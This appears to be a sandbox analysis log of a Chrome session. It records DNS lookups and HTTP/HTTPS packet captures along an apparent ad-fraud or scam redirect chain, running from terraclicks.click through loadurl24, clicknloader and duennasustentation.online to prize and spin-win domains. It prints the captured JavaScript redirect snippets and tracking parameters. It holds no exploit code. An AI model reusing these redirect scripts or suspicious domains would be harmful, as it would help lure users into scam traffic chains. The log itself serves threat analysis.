Jan 8, 2025 15:44:39.011487007 CET	1.1.1.1	192.168.2.16	0x9b68	No error (0)	trk-quantivex.com		104.21.13.162	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:39.011487007 CET	1.1.1.1	192.168.2.16	0x9b68	No error (0)	trk-quantivex.com		172.67.156.201	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:39.011637926 CET	1.1.1.1	192.168.2.16	0xbc0	No error (0)	trk-quantivex.com			65	IN (0x0001)	false
Jan 8, 2025 15:44:40.110439062 CET	1.1.1.1	192.168.2.16	0x6ac9	No error (0)	trk-quantivex.com			65	IN (0x0001)	false
Jan 8, 2025 15:44:40.112679005 CET	1.1.1.1	192.168.2.16	0xf0b1	No error (0)	trk-quantivex.com		172.67.156.201	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:40.112679005 CET	1.1.1.1	192.168.2.16	0xf0b1	No error (0)	trk-quantivex.com		104.21.13.162	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:43.271647930 CET	1.1.1.1	192.168.2.16	0x4018	No error (0)	secureanalytic.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:43.271647930 CET	1.1.1.1	192.168.2.16	0x4018	No error (0)	secureanalytic.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:43.272583961 CET	1.1.1.1	192.168.2.16	0x89d0	No error (0)	secureanalytic.com			65	IN (0x0001)	false
Jan 8, 2025 15:44:45.597733974 CET	1.1.1.1	192.168.2.16	0xb74c	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:45.623473883 CET	1.1.1.1	192.168.2.16	0xc566	No error (0)	event.trk-quantivex.com		172.67.156.201	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:45.623473883 CET	1.1.1.1	192.168.2.16	0xc566	No error (0)	event.trk-quantivex.com		104.21.13.162	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:45.627543926 CET	1.1.1.1	192.168.2.16	0x26e5	No error (0)	event.trk-quantivex.com			65	IN (0x0001)	false
Jan 8, 2025 15:44:47.835020065 CET	1.1.1.1	192.168.2.16	0xa3d5	No error (0)	event.trk-quantivex.com		104.21.13.162	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:47.835020065 CET	1.1.1.1	192.168.2.16	0xa3d5	No error (0)	event.trk-quantivex.com		172.67.156.201	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:47.836261034 CET	1.1.1.1	192.168.2.16	0x7fc4	No error (0)	event.trk-quantivex.com			65	IN (0x0001)	false
Jan 8, 2025 15:45:28.231831074 CET	1.1.1.1	192.168.2.16	0xd1d6	No error (0)	grizzlyprize.is			65	IN (0x0001)	false
Jan 8, 2025 15:45:28.243309975 CET	1.1.1.1	192.168.2.16	0xe35a	No error (0)	grizzlyprize.is		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:28.243309975 CET	1.1.1.1	192.168.2.16	0xe35a	No error (0)	grizzlyprize.is		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:29.997427940 CET	1.1.1.1	192.168.2.16	0xa2b9	No error (0)	www.biggestspinwins.com			65	IN (0x0001)	false
Jan 8, 2025 15:45:30.145927906 CET	1.1.1.1	192.168.2.16	0xcbe0	No error (0)	www.biggestspinwins.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:30.145927906 CET	1.1.1.1	192.168.2.16	0xcbe0	No error (0)	www.biggestspinwins.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:31.698420048 CET	1.1.1.1	192.168.2.16	0x5bc2	No error (0)	as6asdas54k.com			65	IN (0x0001)	false
Jan 8, 2025 15:45:31.700475931 CET	1.1.1.1	192.168.2.16	0xccbe	No error (0)	as6asdas54k.com		172.67.174.48	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:31.700475931 CET	1.1.1.1	192.168.2.16	0xccbe	No error (0)	as6asdas54k.com		104.21.30.239	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:33.454330921 CET	1.1.1.1	192.168.2.16	0x4afd	No error (0)	www.hypecataloguehub.com			65	IN (0x0001)	false
Jan 8, 2025 15:45:33.499995947 CET	1.1.1.1	192.168.2.16	0xf870	No error (0)	www.hypecataloguehub.com		172.67.185.221	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:33.499995947 CET	1.1.1.1	192.168.2.16	0xf870	No error (0)	www.hypecataloguehub.com		104.21.68.36	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:37.353080988 CET	1.1.1.1	192.168.2.16	0xe6f6	No error (0)	www.nrj1hs34m.com		34.149.120.191	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:37.970613003 CET	1.1.1.1	192.168.2.16	0x34e8	No error (0)	www.chargeswiftpath.online		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:37.970613003 CET	1.1.1.1	192.168.2.16	0x34e8	No error (0)	www.chargeswiftpath.online		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:37.970627069 CET	1.1.1.1	192.168.2.16	0x446	No error (0)	www.chargeswiftpath.online			65	IN (0x0001)	false
Jan 8, 2025 15:45:39.153420925 CET	1.1.1.1	192.168.2.16	0xc0d3	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 15:45:39.153450012 CET	1.1.1.1	192.168.2.16	0x7d53	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 15:45:41.354500055 CET	1.1.1.1	192.168.2.16	0x674e	No error (0)	www.chargeswiftpath.online			65	IN (0x0001)	false
Jan 8, 2025 15:45:41.354512930 CET	1.1.1.1	192.168.2.16	0x65f5	No error (0)	www.chargeswiftpath.online		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:41.354512930 CET	1.1.1.1	192.168.2.16	0x65f5	No error (0)	www.chargeswiftpath.online		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:45.597584963 CET	1.1.1.1	192.168.2.16	0xb66	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vwi46h7.terraclicks.click

www.loadurl24.com

www.clicknloader.com

duennasustentation.online

https:

trk-quantivex.com

secureanalytic.com

event.trk-quantivex.com

grizzlyprize.is

as6asdas54k.com

www.hypecataloguehub.com

www.nrj1hs34m.com

www.chargeswiftpath.online

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49703	67.198.205.87	80	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:44:22.599832058 CET	507	OUT	GET /rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9 HTTP/1.1 Host: vwi46h7.terraclicks.click Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 8, 2025 15:44:23.203840017 CET	487	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Address: gin_throttle_mw_7200000000_8.46.123.189 X-Ratelimit-Limit: 500 X-Ratelimit-Remaining: 499 X-Ratelimit-Reset: 1736351084 Date: Wed, 08 Jan 2025 14:44:44 GMT Content-Length: 235 Data Raw: 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 74 61 72 63 6b 69 6e 67 5f 70 61 72 61 6d 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 73 70 6c 69 74 28 27 23 27 29 5b 31 5d 3b 0a 69 66 28 21 74 61 72 63 6b 69 6e 67 5f 70 61 72 61 6d 29 7b 0a 09 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 28 22 2f 72 64 2f 22 2c 20 22 2f 74 2f 22 29 3b 0a 7d 65 6c 73 65 7b 0a 09 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 2f 74 2f 27 2b 74 61 72 63 6b 69 6e 67 5f 70 61 72 61 6d 3b 0a 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 3e 3c 2f 70 3e 0a Data Ascii: <script>var tarcking_param = window.location.href.split('#')[1];if(!tarcking_param){document.location.href = document.location.href.replace("/rd/", "/t/");}else{document.location.href = '/t/'+tarcking_param;}</script><p></p>
Jan 8, 2025 15:44:23.256982088 CET	617	OUT	GET /t/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9 HTTP/1.1 Host: vwi46h7.terraclicks.click Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 8, 2025 15:44:23.748941898 CET	556	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Address: gin_throttle_mw_7200000000_8.46.123.189 X-Ratelimit-Limit: 500 X-Ratelimit-Remaining: 498 X-Ratelimit-Reset: 1736351084 Date: Wed, 08 Jan 2025 14:44:45 GMT Content-Length: 304 Data Raw: 3c 73 63 72 69 70 74 3e 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 6f 61 64 75 72 6c 32 34 2e 63 6f 6d 2f 32 35 53 51 32 47 39 4e 2f 37 44 46 4c 58 57 52 38 2f 3f 73 75 62 31 3d 39 26 73 75 62 32 3d 34 36 31 2d 32 36 30 39 39 26 73 75 62 33 3d 32 33 32 2d 33 32 31 34 37 37 2d 35 37 31 37 35 36 27 3b 20 0a 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 72 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 6f 61 64 75 72 6c 32 34 2e 63 6f 6d 2f 32 35 53 51 32 47 39 4e 2f 37 44 46 4c 58 57 52 38 2f 3f 73 75 62 31 3d 39 26 73 75 62 32 3d 34 36 31 2d 32 36 30 39 39 26 73 75 62 33 3d 32 33 32 2d 33 32 31 34 37 37 2d 35 37 31 37 35 36 27 29 3b 0a 7d 2c 20 31 30 30 30 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 3e 3c 2f 70 3e 0a Data Ascii: <script>setTimeout(function(){ window.location.href = 'https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756'; console.log('redirecting to https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756');}, 1000);</script><p></p>
Jan 8, 2025 15:44:23.769737005 CET	460	OUT	GET /favicon.ico HTTP/1.1 Host: vwi46h7.terraclicks.click Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://vwi46h7.terraclicks.click/t/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 8, 2025 15:44:23.940145969 CET	258	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Address: gin_throttle_mw_7200000000_8.46.123.189 X-Ratelimit-Limit: 500 X-Ratelimit-Remaining: 497 X-Ratelimit-Reset: 1736351084 Date: Wed, 08 Jan 2025 14:44:45 GMT Content-Length: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49707	172.67.183.92	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:25 UTC	753	OUT	GET /25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756 HTTP/1.1 Host: www.loadurl24.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://vwi46h7.terraclicks.click/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:26 UTC	1331	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:44:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://www.clicknloader.com/2W1Q1KK/2G76N4GF/?sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&source_id=20259&sub5=101311 set-cookie: uniqueClick_7DFLXWR8=58df08ad-04f6-4931-a964-09e37c419050:1736347466; Path=/; Expires=Thu, 09 Jan 2025 14:44:26 GMT; Secure; SameSite=None set-cookie: transaction_id=e6bdf212e77945a1bdd4f5f45fcae0ae; Path=/; Expires=Tue, 08 Apr 2025 14:44:26 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: bae709e0-08a2-4de4-92d8-4d99a957e3aa cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DXFffin3mEvJ%2FPQecoeJ2RnskuvI7Clmq7HRop2RuE4L1JST1ZX%2BxEovrW8SCOvWQ9zqoKlGwSZfI7wl8NydyJ5FROwQLnJGCejt2nDjhiPoBJHVPCX%2FxaCRBHY1Ofllv5KqJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf72def4e0fab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1710&rtt_var=667&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1331&delivery_rate=1607929&cwnd=188&unsent_bytes=0&cid=fbe7ea06a14be855&ts=642&x=0"
2025-01-08 14:44:26 UTC	38	IN	Data Raw: 38 66 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 69 63 6b 6e 6c 6f 61 64 65 72 2e Data Ascii: 8f<a href="https://www.clicknloader.
2025-01-08 14:44:26 UTC	111	IN	Data Raw: 63 6f 6d 2f 32 57 31 51 31 4b 4b 2f 32 47 37 36 4e 34 47 46 2f 3f 73 75 62 31 3d 65 36 62 64 66 32 31 32 65 37 37 39 34 35 61 31 62 64 64 34 66 35 66 34 35 66 63 61 65 30 61 65 26 61 6d 70 3b 73 6f 75 72 63 65 5f 69 64 3d 32 30 32 35 39 26 61 6d 70 3b 73 75 62 35 3d 31 30 31 33 31 31 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: com/2W1Q1KK/2G76N4GF/?sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&source_id=20259&sub5=101311">Found</a>.
2025-01-08 14:44:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49713	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:27 UTC	776	OUT	GET /2W1Q1KK/2G76N4GF/?sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&source_id=20259&sub5=101311 HTTP/1.1 Host: www.clicknloader.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://vwi46h7.terraclicks.click/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:28 UTC	1236	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:44:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://duennasustentation.online/MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com set-cookie: uniqueClick_2G76N4GF=f60317f2-b96a-4162-aaef-048da2bba126:1736347468; Path=/; Expires=Thu, 09 Jan 2025 14:44:28 GMT; Secure; SameSite=None set-cookie: transaction_id=31fbe95d61fe4658bc9c042cd7dcea71; Path=/; Expires=Tue, 08 Apr 2025 14:44:28 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: 59ca05da-f9b0-41b6-a2b8-6e58af359245 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZfvmNOMwsFLpcilTiqusIeLstknnTsTnLv%2Fz%2F%2BkJoN%2Fjiq09dkui%2BU1BdE0xvQodCnHjxPGm7sx4JuK%2F51XLn763xRdcwJY9ornDRVYln339NLEz07LLqRVHefjNvGeDHWCTP%2BKI3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf73818e741d2-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 14:44:28 UTC	216	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 38 31 39 26 6d 69 6e 5f 72 74 74 3d 31 37 37 31 26 72 74 74 5f 76 61 72 3d 36 39 38 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 30 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 35 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 36 34 38 37 38 35 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 37 39 38 63 66 61 35 66 33 64 38 36 31 30 30 33 26 74 73 3d 38 33 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1771&rtt_var=698&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1354&delivery_rate=1648785&cwnd=251&unsent_bytes=0&cid=798cfa5f3d861003&ts=838&x=0"
2025-01-08 14:44:28 UTC	283	IN	Data Raw: 31 31 34 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 75 65 6e 6e 61 73 75 73 74 65 6e 74 61 74 69 6f 6e 2e 6f 6e 6c 69 6e 65 2f 4d 59 5a 6b 67 63 77 31 73 71 39 54 57 6e 56 63 6c 65 68 55 57 2d 7a 77 41 31 4d 57 74 6e 58 67 57 68 34 48 63 2f 3f 65 6e 63 6f 64 65 64 5f 76 61 6c 75 65 3d 32 32 33 47 44 54 31 26 61 6d 70 3b 73 75 62 31 3d 65 36 62 64 66 32 31 32 65 37 37 39 34 35 61 31 62 64 64 34 66 35 66 34 35 66 63 61 65 30 61 65 26 61 6d 70 3b 73 75 62 32 3d 26 61 6d 70 3b 73 75 62 33 3d 26 61 6d 70 3b 73 75 62 34 3d 26 61 6d 70 3b 73 75 62 35 3d 32 33 32 37 32 26 61 6d 70 3b 73 6f 75 72 63 65 5f 69 64 3d 32 30 32 35 39 26 61 6d 70 3b 69 70 3d 38 2e 34 36 2e 31 32 33 2e 31 38 39 26 61 6d 70 3b 64 6f 6d 61 69 6e 3d 77 77 77 2e 63 6c 69 63 Data Ascii: 114<a href="https://duennasustentation.online/MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clic
2025-01-08 14:44:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49718	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:29 UTC	885	OUT	GET /MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com HTTP/1.1 Host: duennasustentation.online Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://vwi46h7.terraclicks.click/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:30 UTC	1225	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:44:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: no-cache expires: Wed, 08 Jan 2025 14:44:29 GMT location: http://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com permissions-policy: interest-cohort=() Set-Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc; Path=/ strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ACbNHcsHQxn01KjwVEfX5qpyAehtqaKi64DEaMbKW7yMjLj2iY%2BSPOoWw1gJAnrSlqZgksjh9bm61IyA7WrnCktpHBTLu1vkDRZQeMMY7wSjxrFf3VcpbCwo3lie7sa7oKKcqSSlhb8p3eVW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf74339eb42c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1792&rtt_var=689&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1463&delivery_rate=1629464&cwnd=225&unsent_bytes=0&cid=65ca4cc59c5ae41f&ts=1463&x=0"
2025-01-08 14:44:30 UTC	151	IN	Data Raw: 39 31 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 91<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx/1.25.3</center></body></html>
2025-01-08 14:44:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49721	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:31 UTC	905	OUT	GET /?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com HTTP/1.1 Host: duennasustentation.online Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://vwi46h7.terraclicks.click/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:32 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close accept-ranges: bytes Cache-Control: no-cache expires: Wed, 08 Jan 2025 14:44:31 GMT last-modified: Tue, 07 Jan 2025 13:17:12 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EQQLoaE70TRygyoL0mL536qRoW0cCc%2BkFq%2F9MkFhLh3s2EtLEXNeNiMnVHA7p5kONSoR5dMdoU2DnsGG69KczVtkbj9AxkMZs4z5I9ggM2PKSnuwhZnSQaOvsDhDL3qpZMK0a8bF0dM3cDPs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7524f5f7cfa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1914&min_rtt=1900&rtt_var=722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1483&delivery_rate=1536842&cwnd=190&unsent_bytes=0&cid=d4cf3befb5798dd7&ts=916&x=0"
